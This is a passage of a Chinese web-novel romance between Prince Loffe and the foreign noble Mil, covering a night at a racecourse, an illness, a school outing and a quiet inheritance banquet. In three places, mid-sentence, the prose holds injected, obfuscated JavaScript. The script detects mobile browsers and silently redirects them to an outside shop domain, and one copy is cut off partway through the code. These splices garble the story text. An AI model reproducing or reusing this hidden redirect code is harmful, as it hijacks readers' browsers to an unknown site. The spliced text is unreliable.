米尔示范完一套拆解动作,走到场边喝水,见洛斐轻压着小白,问出这么古怪的问题。 “是。”米尔依旧认真地回答。 “……” “露希恩王国的训练那么严苛?”洛斐起身,不再逗弄小白,而是给它喂准备的精料。 “不是。” “和您一样的训练和课程。” “……” 洛斐没有继续问话了,而是低头专心喂小白。这小白马和主人一个性子,淡淡地,高兴了才会赏给洛斐一个眼神。 然后,洛斐就满足了,心情愉快地将精料送到它嘴边。 艾瑟兰王国的冬季少雪但很冷,刺入骨头深处的寒冷。 本该更冷的边郊赛马场却莫名的暖和。 也许是边郊高木和草丛纷杂,遮挡住了寒风也说不准。 “夜晚不早点回去,没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536515|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吗?”米尔抬头望向为数不多的的星星,又接着问身旁和小白玩的洛斐:“殿下,外出不带护卫和随从,也不要紧吗?” “这是什么要紧的事吗?” 莱因哈特的教育严苛只限于品德方面的健全,其他全部随着他的个性来,不会强加干涉。 但他确实也不喜欢只是上个课,却要人山人海的,让所有人都不舒适。 但米尔问了,就要回答。 洛斐想了想,语气认真地回答:“认真训练和完成课程是王子的职责。” “但没必要事事劳烦别人,对双方来说都是枷锁。” “说得很不错。”米尔轻声开口,夸人也是淡淡的。 洛斐抬起下巴,语气傲然,“当然了,我可是精通各国诗篇。” 洛斐突然一转话语,开口问:“今晚你会睡个好觉吗?” 米尔收回了视线,看向撑着草丛的洛斐,笑着说:“大概可以的,因为有你的帮助。” “才不是帮你忙,只是想让你知难而退。”洛斐慌乱地反驳。 “知难而退?”米尔迟疑地反问,好似不明白两者的联系。 “就是……”洛斐的话没说完,一阵响声从赛马场右侧住民区传来。 听起来像是谁家孩子又摔了陶罐。 每次要和米尔火热争论一番的时候,总会有点问题出现。 洛斐又暂时放弃了。 他也被这声音震得愣了愣,一瞬间连身体也动不了。 身体动不了? 洛斐困惑地低头,看米尔用力地抱住他的身体,蜷缩着肩膀,微微发颤,像是受到了很大的惊吓。 洛斐不知所措。 陌生的米尔。 周身的胆怯和慌张要顺着空气流了出来,看不出训练时的样样精通,无所不能,也看不出平时的冷静自若。 洛斐轻轻地拍了拍米尔的后背。 米尔没说话,但身体放松了。 洛斐低下头,像哄怕打雷的孩子那样轻轻抚了抚他的背,见米尔气息缓和,才问他:“你还好吗?” “……” 直到边郊的风凉透了,米尔才慢慢地缓了回来。 米尔揉了揉额头,将乱了的衣服收拾整洁,平铺直叙地回答:“嗯,好多了。” 这语气就像是在说用餐这样的平常话。 洛斐不解地问:“……你这是怎么了?” “只是受了惊。”米尔敷衍地说。 “陶罐破碎会让人这么恐慌吗?你到怎么了?” “我们快点回去,然后找医师看看你的身体。” 米尔没回话,牵着小白往回走,身后是紧紧跟着的洛斐,依然不放心地问:“真的没事吗?” “经常性的吗?和睡不着觉有关系吗?是旧伤的后遗症吗?” 米尔停下,转身说:“殿下,我是我,我的身体是我的身体,我怎么会知道呢?” “……” 这话有点眼熟。 洛斐被先前的自己堵得哑口无言。 米尔微微松口气,终于安静了。 “米尔,你有秘密。”洛斐垂着眸,突然道。 这话用什么语气,米尔都可以无动于衷,但偏偏是委屈的,况且后面还加了一句,“你不说出来,我就……不问了。” 怎么那么委屈。 米尔叹了口气。 8. 是玩伴吗? “我害怕。” 米尔说完抬起头。 洛斐依旧锁着眉,眼睛和刚才星星一样闪着认真,米尔无奈地淡淡解释:“殿下不用担心,我只是害怕剧烈的声响,一旦听到就会莫名惶恐。” “治不好吗?”洛斐喃喃自语地问,依据他对露希恩王国的浅薄了解,也猜出了具体的原因。 大概是和日夜不停的战争有关。 “和我同岁的伙伴大多都会如此。也许经历过战争的人都是破碎的,不露痕迹,但也隐藏不住。”米尔见洛斐的表情从担心变成忧伤,立刻出声宽慰他,“殿下,我已经好很多了。现在,只有在响动突然来临的时候,才会不舒服。” 夜风吹拂着衣袍,米尔抬头见四周的住户纷纷熄了灯,知道再不回去真就太晚了。 但面前洛斐却像是定住了,不讲话,不走动,也不知道在想些什么。 “殿下,洛斐殿下,洛斐?” 米尔在他眼前摆摆手。 米尔将称呼全喊了一遍,洛斐才慢慢地抬起头。 “我们快回去。”米尔活动着发麻的身体,随口说。 话还没来得及落地,身边一阵冷风猝不及防地掠过。 米尔抬眸,只能看到一抹红色衣摆。 跑了? 米尔愣在原地,看跑了老远的洛斐又重新返回,将小白的绳子塞他手里,说了句,“骑着小白回去。” 说完就跑,跑得比训练时还快,只留下米尔在凉风中凌乱。 他跑什么呢? 赛马场离城堡说远不远,说近不近,但洛斐也从未跑着回来过。 昨夜是第一次。 他从赛马场一路跑回城堡,一刻也没歇,怕身后的米尔骑着小白追上来。 哪怕躺在床铺上依旧无法入睡,洛斐满脑子是先前报复米尔的回忆。 虽然记不起来是否有惊吓的事情,但米尔刚才惊慌失措的模样,就像是混乱的藤蔓紧紧纠缠和压榨他的睡眠。 洛斐辗转反侧,深夜里猛地起身,自顾自地骂了句,“浑蛋,你也下得去手。” 彻夜难眠的后果是次日真起不来床了。 洛斐抬手捂住肿胀的眼睛,脑袋传来的钝痛越发鲜明,他微微伸出手臂,医师治疗后给出了结论。 心思太重了,想得太多,冷风又吹着了。 洛斐默默地盯着天花板,想不到自己也会有心思重到病了的时候。 最心烦的是,害心思重的那个人,偏偏没来,问也没问他。 明明知道每日都会训练,以米尔的敏锐度怎么会察觉不到洛斐的缺席。 一定是不屑于来罢了。 洛斐想到这,勉强坐起来,问身边匆匆忙忙的侍从们,“有人来找我吗?” “埃迪骑士刚才来问候过殿下。” “不是埃迪。”洛斐闷闷地说。 “国王陛下也来过,喊您起床训练。” 洛斐无力地躺回去,“……也不是国王。” 侍从们哑口无言,猜不出还有谁来看望了。倒是门口的守卫好奇地听着,随口说了句,“韦恩菲尔德大人有来看望王子殿下,见医师在为您治疗,就说让您好好休息,改日拜访。” 洛斐忽然站起身,要去洗漱更衣,回头和门口呆愣的守卫说:“麻烦你转告米尔,说我休息好了,让他现在拜访。” 他昨晚一言不发地跑了,确实不太正常,有必要和米尔解释,顺便为先前的幼稚行为道歉。 “还没来吗?”洛斐接过侍从递来的茶水,亲自摆放在桌边,将精心准备的点心放在一边点缀。 “韦恩菲尔德大人还没来。” “好,你们先去休息。”洛斐低声说。他一旦身体出了状况,就麻烦了城堡内的人,忙前忙后地为他操心。 人群散去,洛斐不再端着坐姿,而是懒懒地靠着软椅,顺手捞块点心品尝。 浑身像是泡软的海绵,提不起精神也抵挡不住睡意。 睡意即将席卷洛斐的最后一秒,外面传来了米尔的声音。 终于来了。 洛斐趁米尔还未进卧房,飞快地躺回床铺,将手臂随意地搭在一边,半张脸深深地埋进毛毯,微微皱眉,看起来十分难熬。 米尔进来第一眼就看到了无生机的洛斐,焦急间又瞥见桌边摆好的点心少了一半,放下心来,随口问:“你还好吗?” “……不好。”洛斐闷闷地讲,语气轻轻地像是透不过毛毯。 “你喝药了吗?” “没。” “你用餐了吗?” “吃了点心。” 米尔不慌不忙地端起药,递给他,说:“不喝药的话,你的病可好不了。” 洛斐语塞,他怎么可能不知道,只是这药苦得像是黑苔草,怎么能咽得下去。 洛斐听见米尔坐下的声音,斟酌着道歉的话,为了铺垫气氛,随口开玩笑道:“你喂我喝药?” “嗯。” 嗯?这就答应了? 洛斐倏地转头,见米尔气定神闲地翻看他桌边的书籍,药剂孤零零地冷落在一边。 不该相信米尔。 洛斐抬起眼,静静地盯着米尔。 米尔对上面前浅金色的眼眸,愣了愣,利落地放下书,拿起药杯真有喂他的架势。 “我自己来就行。”洛斐恼羞成怒地一口气喝完,苦得发麻,偏偏米尔在这里待着,他必定要露出无所畏惧的模样。 “如果很苦,也许吃甜的会好一点。”米尔笑着开口,说完就将方糖递给洛斐。 “……谢谢。” 糖块融化,苦味才渐渐消散,洛斐瞥了眼米尔,又迅速地收回视线。 现在主动道歉?还是努力拖着时间,一会讲还来得及吗? 洛斐犹豫着,身边的米尔早就先他一步开口了,“你不用在意昨天的那番话,在意依然无法改变任何情况,只会徒增你的烦恼。” “当然,你不必愧疚,也不必可怜我。”米尔想起守卫刚刚说的,王子翻来覆去地一夜未眠,甚至会唉声叹气,“更不用道歉,你的小招数对当时的我来说,也是一种另类的乐趣,所以,您也算是我的……” 洛斐追问:“你的什么?” “我的玩伴。”米尔认真地说。 初到异国时的烦躁和不安,的确是这位孩子心气的王子替他抹去的。 “……是玩伴?” 道歉莫名变成了感谢,起初的报复给米尔带去了快乐。 一切都是洛斐没有预料到的,但或许都不算坏事。 洛斐慌乱地躺回去,只抬起眸子,问:“谁会称呼玩伴为王子和您?” “我刚才用的是,你。”米尔语气轻飘飘地像是哄人的样子。 “……知道了。”洛斐头不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536516|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 疼了,也不晕了,只是悄摸摸地观察面前的米尔。 黑眸神秘幽暗,黑发也巧妙地增添着冷淡疏离。不可否认,米尔姣好的样貌和敏锐温和的性子确实是吸引人的利器。 如果不是身份不同,利害不同,做个哥哥也许是不错的选择。 洛斐这么想着,米尔突然放下书,慢慢地开口,“要是休息好了,就可以开始训练了。” “……” 还是继续做敌人。 洛斐的身体一病就是一个季节,这次却有点不同,也许是因为米尔常来陪他,也有可能是米尔向莱因哈特国王说了很多洛斐的好话。 本就心疼儿子的国王借机给洛斐安排了休息日。 白日喂马晒太阳,夜晚下棋读闲书,其余时间去米尔卧房,洛斐享受着闲适的时光。 “真希望这样过下去,随心所欲地生活。”洛斐摆弄着米尔屋里新换的植株,忽然地感慨。 “你平时也不拘束。”米尔随口拆台。 “……身为王子还是会有束缚。”洛斐低着头说,“不知道什么时候就会有麻烦的事来了。” “……或者是麻烦的人。” 他说着,门外急急匆匆的脚步声和说话声一齐砸来,“韦恩菲尔德大人,有人来拜访您。” 米尔看了眼洛斐,对方给了个意味深长的眼神,似乎在说,我说得没错。 米尔视线移向门口的侍从,问:“谁?” “维伦少爷。” 洛斐挑挑眉,明白了。 这是来道谢了。 维伦和上次比状态好很多,冷静中带着鲜活,神情从容不迫,肩膀的伤口恢复得快,走路的步伐也稳当了。 维伦显然没料到半夜在米尔屋里会遇到洛斐,微微一愣,低下头,“洛斐殿下。” “好久不见,维伦。” 洛斐见维伦那副惊讶的模样,就知道他这趟拜访和自己无关。 “你们聊,我回……”洛斐告完别,转身往外走。 “殿下,请您稍等一下。”维伦连忙喊住他,从怀里拿出一封信,递给坐着的米尔。 洛斐停下,走到米尔身边,借着他的手看信封内容。 邀请函? 信封上的标志格外醒目,是圣希尔学院的徽章。 它是艾瑟兰王国最大的学院,也是维伦所就读的地方。 维伦适时地解释,“多亏了殿下和韦恩菲尔德大人,哥哥的身体好转了许多,但我不知道该用什么来表达感谢,如果恰好有空闲,可以一起同去。” 维伦说完,洛斐顺势弯下腰,贴着米尔耳边,小声说:“别去,很无趣。” “真的?”米尔头也不抬地轻声问。 “千真万确。”洛斐肯定地说。 “好。”米尔点点头,和面前的维伦说:“我会去的。” “……”洛斐看向米尔,虽然猜到了会如此,但依旧很无奈。 邀请函只有一张,在米尔手中。 洛斐算是圣希尔的学生,不用邀请函,但严谨地说是半个,一半课程由王室导师教授,另一半则是去圣希尔学习。 圣希尔学院的冬季出行,洛斐奉国王的吩咐去过几回,寡淡如水,无味如冰。 后来说什么也不去了。 所以,当他这次主动提议跟着去学习时,莱因哈特国王与薇洛希王后,又是一阵欣慰。 9. 谣言?无所谓 洛斐是为了米尔才来的。 结果,出发当日他连米尔半个影子都没看到,问了负责此次游玩保护任务的埃迪,才得知米尔跟着队伍先行离开了。 理解。 洛斐很理解。 米尔第一次参与休闲的游玩活动,和大多数人走,也是应该的。 况且,米尔应了维伦的邀请,和他一起出发也是理所当然。 洛斐觉得自己像是被丢下了,看向路边的小山,也没由来的心烦,一座连一座,不会分开吗? 他抵达目的地,脸色也不见好,抬眼看圣希尔学院精选的游玩地点,是个略微偏僻但环境不错的小镇。 这对平时只去王室花园和狩猎行宫参观的圣希尔学院来说,已经是相当巨大的进步。 洛斐的坏心情被迎面的清新空气抹去了不少,抬眼望去,人流涌动。 一眼望见桥边低头看湖泊的米尔,洛斐正准备走过去,却被几道声音堵住了脚步。 洛斐微微敛目。 麻烦的人,真是无处不在。 洛斐扬起浅淡的笑,微微低头示意,“诸位,早安。” 从这句话开始,洛斐就明白今天算是没了别的去处,怕是质米尔为什么抛下他,也成了奢望。 小镇游玩的第一日,洛斐是在公爵们你一句我一句,暗含训诫的教导中度过的。 原本不清楚此次参与的公爵有那么多,第二天洛斐就有了经验,早早地去了冷清的地点,也是米尔昨日在的桥边。 湖泊静如青玉,阳光落在湖面,又像是满湖熠熠发光的银币。 怪不得米尔喜欢呢。 洛斐盯着湖泊中乱跳的鱼苗,见它们玩累了,才顺势抬头,看向远处的旅店方向。 米尔如果和他一起住王室的行宫,就不用早早地等着了。 洛斐懒懒地撑着桥栏,目光无意间扫向远处,周边的小铺早早地起来吆喝了。 卖的是…… 米尔? 洛斐立马直起了身子,远远看见米尔正与人讲话,浅灰衣料的便服也掩不住孤傲清冷劲。 确定是米尔后,洛斐在桥边拢了拢风吹乱的领口,向他走去,还没等到下桥,就见米尔匆匆地走了。 一点不犹豫,任谁都看得出是故意的。 洛斐顿了顿,未喊出口的名字咽了下去,他怔了一会,一时没弄清眼前的状况。 米尔是故意避着他? 于是,小镇游玩的第二日,洛斐依旧什么也没看进去,满脑子只有一个念头,就是米尔为什么突然躲他。 第三日,第四日,依旧如此。 洛斐搭话,米尔躲避。 每一次,米尔都是悄无声息地先一步离开,要不是一如既往地敏锐,洛斐都要怀疑米尔是不是被诅咒了,或者是喝了迷魂药。 莫名的疏远并不是米尔的作风,洛斐也不可能平白无故地接受。 最后一晚的时候,洛斐绕开门口的侍从,慢悠悠地晃到旅店门口,势必抓着米尔问了明白。 旅店简约,胜在温馨,壁炉的火慢慢地燃烧,火光摇曳,洛斐径直走向旅店尽头的房间。 洛斐做好了四周寻找的准备,结果,转角一过,米尔就站在旅店露台。 洛斐还没来得及开口,余光瞥见米尔身旁还有一道陌生的人影。 洛斐来不及思考,吸取上次的教训,率先开口喊了句,“米尔。” 既然他喊了名字,米尔总不好抬脚就跑。 米尔确实愣住了,微微转身,轻轻地点头,语气稀松平常,“洛斐殿下。” 洛斐蹙眉,正要开口询问,却被另一道声音截住了。 身旁的人也开了口,“洛斐殿下,晚上好。” 洛斐侧身看过去,看了眼说话的人,有些眼熟,好像是圣希尔的导师。 他想起来了,上次米尔在桥边和人讲话,也是这位。 “您好。” 洛斐说完,默默地挪到米尔身边,抬起眼看着面前的导师,那姿态,摆明了和米尔有话要讲。 “米尔,回见。”那人朝米尔微微颔首,又转向洛斐,得体地说:“我先告退了,王子和米尔慢聊。” 待人走远了,露台只剩下他们两人。米尔搭上围栏,懒懒地趴着。 “你们认识?” “旧友。”米尔回头,疑惑地问:“你应该在行宫才对,来这里做什么?” “史书也是他给的吗?”洛斐隐约记得他是教授国史和古语的导师。 “是的。”米尔不解其意地点点头。 洛斐往前走了一步,继续问:“你知道克兰德侯爵和莫里斯骑士是什么关系吗?” “伴侣。” “在艾瑟兰,同性伴侣同样受律法认可。” 米尔见洛斐语气认真地像是在和他授课,不咸不淡地问:“你要和我说什么?” “我是说,他对你没安好心。”洛斐话语猛地一转,愤愤地开口。既然是旧友,米尔初来时不闻不问,眼下却殷勤地跟在他身边。 绝对不是好人。 说了这么多,只是为了得出莫须有的结论,不愧是洛斐王子。 米尔叹了口气,轻声说:“德安只是我许久未见的旧友。至于殿下说的艾瑟兰律法,我很清楚,正因为如此,这段日子,才会有意避开你。” 米尔自认为说得够清楚了,就差没将话彻底挑明,洛斐再迟钝也不能…… “律法约束的是他那点坏心思,和我们有什么关系?” ……还真能迟钝至此。 米尔抿了抿唇,环顾四周。深夜的露台空空荡荡,凉意沁人。他压低声线,“殿下先前不是介意谣言吗?……现在又不介意了?” 洛斐蹙眉。 是在赌气吗? 异国他乡,能拿到一个王子的位置,确实是一种最强庇护。米尔想要,也无可厚非。 洛斐看着他的眼睛,那双幽暗却水润的黑眸,认真地说:“不在乎了,别躲着我了,……也别不理我。” 如果米尔当真样样出众,子民们无异议,国王和王后不反对,贵族们也信服。 那么米尔真的做了艾瑟兰王国第二位王子,也不是特别难以接受的事了。洛斐可以慢慢地消化,就当是多了个不算太讨厌的哥哥。 米尔听他这话,微微一愣,唇角浅浅地一扬,语气如常,“这可是殿下亲口说的。” “确定吗?” “你爱信不信?” 气氛松了,洛斐顺势握住他手腕,语气 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“掉湖泊里了?救上来了吗?” “是的,殿下,公爵已经救上来了。” 洛斐顿时松口气,想了想,迟疑地问:“不会是米……韦恩菲尔德大人救的?” “不是的。” 洛斐又松口气。 “是维伦少爷和韦恩菲尔德大人一起呢。” “……去看看。”洛斐利落地起床。 依旧是那一座湖,却没了往日的安静,湖边围满了人,密密麻麻宛如蚁群搬家。 洛斐远远地看了眼,看见米尔站在最外层,身边有侍从为他擦拭着水渍,其他人则是望着湖泊,一片惊呼。 洛斐径直跑向米尔身旁,将干燥的衣服递给他,问:“这是怎么回事?你救的?维伦人呢?” “清晨时有人落水了,维伦救的,他去帮忙找医师了。”米尔歪着脑袋,擦着半湿的头发,语气平淡。 “你没救人,水珠难不成是长了翅膀,飞到你身上的?” 洛斐看他平静的模样,就明白了米尔的用意。 在艾瑟兰王国,舍身救人是顶级的好事,向来能获得奖赏。 本身就具有爵位继承权的少爷,通过此事,顺理成章地将爵位收入囊中,更是不足为奇。 维伦真是好运气。 洛斐垂眸,看向浑身湿漉漉的米尔,忍不住说:“去换身衣服。” “你去看看维伦怎么样了。”自昨晚起,米尔似乎就开始旁若无人地交代他解决麻烦事。 洛斐见他这幅从湖底捞起来的模样,皱着眉反问:“你很擅长化干戈为玉帛吗?他先前伤了你,你还这样帮助他。” “我不去。” “我去看看,正好,也该和德安道个别了。”米尔说着,顺势起身。 “一起去。”洛斐脱口而出。 米尔回头,“你不是不去吗?” “我去看……”洛斐顿了顿,没好气地说:“哪个公爵走路能掉水里不行吗?” 米尔笑着垂眸道:“好,殿下请。” 10. 晚宴 米尔和洛斐一前一后地穿过人群,走去旅店。 突发的状况让埃迪难以招架,匆匆忙忙地跑来和洛斐报告。 说是莫尔顿公爵清晨去散步却不慎踩到潮湿的石板,直直地滑向了湖里,维伦和米尔齐力将人救了上来。 现在却又闹腾起来,公爵吵着要重赏湖景,维伦去更换新衣物了。 如果换做是其他人,洛斐或许会起疑心。毕竟,他也不清楚维伦会为了爵位做到什么地步。 但如果是莫尔顿公爵的话,另当别论。 全艾瑟兰都认识这位爱玩的老先生,赛马时坠马,狩猎时被猎物撞伤,赏花时跌入花园水池。没有他遇不到的意外,也没有他赶不上的热闹。 年过半百的公爵躺在旅店的小床上,花白的头发流着水滴,偏偏还不老实,强撑着要继续赏景。 洛斐端起晚辈该有的恭敬,敛起平日的桀骜,语气温和,“莫尔顿公爵,您受惊了,安心休养。” 莫尔顿公爵像是受潮的礼炮,点不燃但不妨碍有闷响,他猛地一摆衣袖,水珠就顺势飞到了洛斐的下颌。 米尔低低地笑出了声,没忘记递给洛斐手帕。 洛斐接过手帕,轻轻拭去水渍,低下头,语气依旧温和,却压低了声音,一字一句地说:“您还是好生歇息吧,千万,别再伤着了。” 米尔适时地说:“公爵,殿下说得很有道理,您将身体养好了,才能出游。况且,侯爵大人为您备了新花园,养好了身子,才好去赏花,不是吗?” “而且,公爵大人也不会让舍命帮助您的维伦少爷寒心的,对吗?” 莫尔顿公爵听见长子的名号,又被米尔哄得妥帖,终于安心地躺了回去,闭了眼,随口道:“确实是要感谢赛维恩少爷,这个年轻人是很机灵。” 洛斐静静地看向米尔,听着两人对话,待莫尔顿公爵说完,颔首道:“是的,维伦很担心您的身体,去寻找了医师才放心地回去。” “他还说您的身体硬朗,没有他的帮助也一样能起来。” 两人你一言我一语,把莫尔顿公爵哄得眉开眼笑。公爵当即打定主意,要在国王面前为维伦表功。 目的达成,洛斐淡淡地朝照看的侍从交代了几句,便向莫尔顿公爵告了辞,准备返回城堡。 “米尔……”洛斐下意识地喊,一转头,人却不在了。 小镇游玩的最后一日,洛斐又一次在米尔的“抛弃”中度过。 只是这次的抛弃格外漫长,赶上了米尔的忙碌期。 哪怕洛斐不清楚忙些什么,但能看到他夜夜挑着灯,所有拜访也是一概回绝。 但和先前的婉拒相比也有进步。 只要是洛斐来拜访,米尔便不找借口了,开门见山地说,忙碌勿扰。 至少不是随口编造的借口,洛斐心满意足地去上课。 他原本计划着考核结束后再去找米尔,结果对方却先来了。 依旧是夜晚拜访。 米尔坐着,神色从容地翻阅洛斐的策论,随口说:“维伦继承爵位了。” “是吗?”洛斐不以为意,“如果真是这样,他得偿所愿了。” 米尔将策论放在一边,看向懒散着吃点心的洛斐,不拐弯抹角地说:“但是赛维恩公爵也病了,去了远郊的庄园。” “赛维恩家族,如今在维伦手中了。” 洛斐听完,敛起慵懒的神情,不自觉地挺直脊背,犹豫地询问:“真病还是……假病了?” 维伦刚继承爵位,转眼间,赛维恩老公爵就病了。 也太巧了。 米尔拿起洛斐准备的茶,抿了口,说:“赛维恩公爵气血上涌,又犯了头风,去边郊庄园静养,调心。” “维伦将边郊的庄园重新修葺了,看来对赛维恩公爵也不算狠心。况且,他很关心安铎·赛维恩,很重视亲情,为了哥哥才去用尽方法争夺爵位的人,不会为了爵位朝父亲出手。” “他从小就重视安铎,不是重视亲情。”洛斐默默地松口气,重新靠回椅背,随口说:“维伦的运气,真是举国无双。” 他说完,又想起来时间过了那么久,维伦怎么也没有办宴会的打算,他也没有收到邀请函。 艾瑟兰的规矩,继承爵位,通常要办一场盛大的宴会以示庆贺。 洛斐看向米尔,问:“维伦怎么没提起要举办宴会?” 米尔放下茶转而托着腮,皱着眉,轻声说:“是的,他怎么没给您邀请函呢?” 话音刚落,米尔顺手将压在书本下的邀请函取出来,在洛斐眼前晃了晃,笑着说:“大概是维伦忘记了,反正我有邀请函呢,不着急催促他。” “……”洛斐咬牙切齿地说:“是吗?维伦可能真是忘记了。” 米尔低头浅笑,指尖滑动,两张烟灰色的邀请函暴露出来,“维伦说,您课程忙碌,找您也不方便,就将邀请函送到了我这,你来的时候递给你。” “还算有他几分良心。” 洛斐展开密封的纸张,浅浅地看了一眼,越看表情越奇怪,最后看向冷静自若的米尔,不解地问:“这邀请函内容……倒是很别致?” 说完,转手将内层展示给米尔看。 “祈福宴会?”洛斐指了指娟秀的字体,“默祷祈福,禁绝喧哗。从未见过承爵宴会办得如此独特,维伦可真想得出来。” 米尔没反驳,淡淡地说:“他是为了安铎的身体着想。” 洛斐微微点头,借着昏暗的烛光仰头看向米尔,“你去吗?” “会去。” “维伦特别邀请,没有拒绝的道理。” 洛斐将邀请函举到眼前,又看了一遍,宴会形式虽怪,内容倒是真心实意,“我也去。” 他还真想去看看全场无声的晚宴会是什么样子。 “但是不能和你一起去了。艾瑟兰新公爵的承爵宴,我一定得最后到才行,或许你能等待……”洛斐懒懒地靠着椅背,话里话外全是对上次米尔抛弃他的怨怼,结果话没说完,米尔却先他一步走了,丢下一句,“殿下,晚安。” 洛斐对他这幅说走便走的脾性,见怪不怪了,尽管心中依旧不悦,但也只持续到次日太阳落下。 因为傍晚的时候,米尔在城堡入口等待他了。 一袭墨色晚礼服,领口别着银色胸针,黑发顺滑地半扎,比平日更疏离了。 洛斐一眼便看到了他,走过去,皱着眉,语气不低不高,“你也太生人勿扰了。” 米尔活动了一下身子,捏了捏胳膊,瞥了洛斐一眼,不疾不徐地说:“您的衣服确实很耀眼。莫尔顿公爵家的孔雀恐怕也望尘莫及。” “你——”洛斐反驳的话没说出口,米尔已经上了马车,转身掀起车帘。35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547716|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 洛斐心底的不满情绪像是马车碾过石板路,走着走着就散了,见米尔主动掀车帘,淡淡地回了句,“孔雀再怎么说也好看。” 说完这句话,洛斐就钻进了马车里,打定主意,一路上不再和米尔搭话。 结果如他所愿。 米尔似乎没什么精神,锤了锤手臂,理了理袖口,偶尔看向窗外。洛斐余光看了千万遍,依旧没有开口。 一句话不说很奇怪,主动搭话也很别扭,到了晚宴再说也不迟。 马车停在了赛维恩庄园入口。周围的布置和装饰,与先前来的时候并无不同,只是撤下了几件多余的华贵物品,增添了几分素净和高雅。 明明是晚宴热闹的时候,入口却像是无人光顾一般,没有迎宾的乐声,没有攒动的人头,也没有酒杯相撞音。 哪怕心里做足了准备,洛斐依旧愣了愣。 真是……安静。 身旁的米尔倒是波澜不惊,利落地下来马车。 也许是晚宴实在特殊,也有可能是维伦承爵太过突然,这次宴会来得人稀稀落落,一半都是贵族子弟们前来凑数。 对他人来讲,这次晚宴是无趣乏味的,但对洛斐来说,就是天大的好事。 不必与公爵们左右逢源,无需听那些暗含训诫的念叨,也不用管真假参半的恭维。 安安静静地歇着,就够了。 洛斐本该和维伦说上几句场面话,比如表扬和期许,但他看了一圈,也没看见维伦的身影。 洛斐抬头望去,果然在二层卧房陪安铎说话。 不是亲兄弟却从小就亲密,洛斐记得维伦小时候便爱黏着安铎,也就是他的哥哥。 洛斐朝二楼望了片刻,随即凑到一旁闭目养神的米尔耳边,压低了声线,“听说维伦·赛维恩和安铎·赛维恩并不是亲兄弟。” 米尔微微睁开眼睛,听见洛斐的话,意有所指地说:“艾瑟兰王国的子民很爱猜测。” “也许是的。” 洛斐虽不直说,但很赞同,如果不是子民们传的谣言,他和米尔的关系也不会有起初的水火不容。 “就像是我们的谣言就是子民们……” 洛斐的话没落地,一位身穿湖蓝色礼裙的小姐走到了米尔面前,微微屈膝,羞怯地伸出手。 “韦恩菲尔德大人。”她抬起头,眼波流转,“能否请您跳支舞?” 洛斐刚想开口替他回绝,米尔却先说了话。 “罗莎琳小姐。”米尔起身,语气平淡地说:“我的荣幸。” 洛斐就眼看着刚刚还与自己说话的人,转眼就和别人跳舞去了,他再一次,又一次被抛弃了。 洛斐重重地坐回一旁,冷冷地盯着舞池中间。 音乐宛如蚊虫低吟,怎么可能跳得好。 洛斐望着望着就变了想法,他信了米尔是样样出众。 艾瑟兰王国对跳舞的关注,远不及剑术和赛马,但米尔依然跳得很好,舞姿克制而精准,旋转恰到好处,舞伴罗莎琳小姐也配合得极佳。 洛斐烦躁地闭眼养神。 直到耳边传来米尔的脚步声,他才睁开眼,见米尔从舞池中间走出,径直来到他面前。 米尔微微俯身,黑眸抬起来,定定地望着他,将手伸到他眼前,笑着说:“该您了,洛斐殿下。” “与我跳一支舞,好吗?” 11. 你好香 “……勉为其难。” 洛斐反手握住了米尔的手,跟着他走到宴会厅中央,微微低头,附在米尔耳边,刻意压低语气,“我跳得不好,踩到你可不能怪我。” “不会。”米尔调整了两人的距离,捏了捏他的手心,说:“一年前你展示的那段,跳得很不错。” “你说的是烛光舞会?你有参加吗?”洛斐有些意外,那次的烛光舞会太久远了,还是在米尔初来艾瑟兰,常常闷在房内养病的日子。 洛斐都记不清了。 “是,参加了只不过在角落。”米尔跟着洛斐的步调,随口说了句,似乎不想多讲,洛斐也就不追问了,低头认真地端详眼前的临时舞伴。 米尔跳舞的样子和平时无差,依旧从容,墨色晚礼服在旋转中微微扬起来,像是风吹散的墨色花瓣。 洛斐从小的课程造就了不错的舞技,配合着米尔也游刃有余。若顺利进行,这会是一场精妙绝伦的舞蹈展示。 但问题是无法顺利进行。 “……”米尔身形一晃,微微蹙眉,语气如常,“你的步子乱了,是我太快了吗?” “……不是。”洛斐看见米尔被踩脏的鞋子,抬起头,视线移向宴会厅的四周,目光游移。 “你跳得累了吗?” 刚开始跳得利落干净,反而到结束时却乱了步伐。很奇怪。 “不累。” 米尔看向二楼,问:“是找维伦吗?” “不是找维伦,是……”洛斐垂眸,语气软了几分,闷声说:“是你好香。” 洛斐说得认真,好似是宣告真理。 米尔身上带着极淡的香气,像是茶香,又带着墨水气息,清冽得像艾瑟兰的冬日冷空气。 不难闻。 从一开始,洛斐就被这缕气息安抚得松弛下来,说是身处舒适的温水中也不为过。 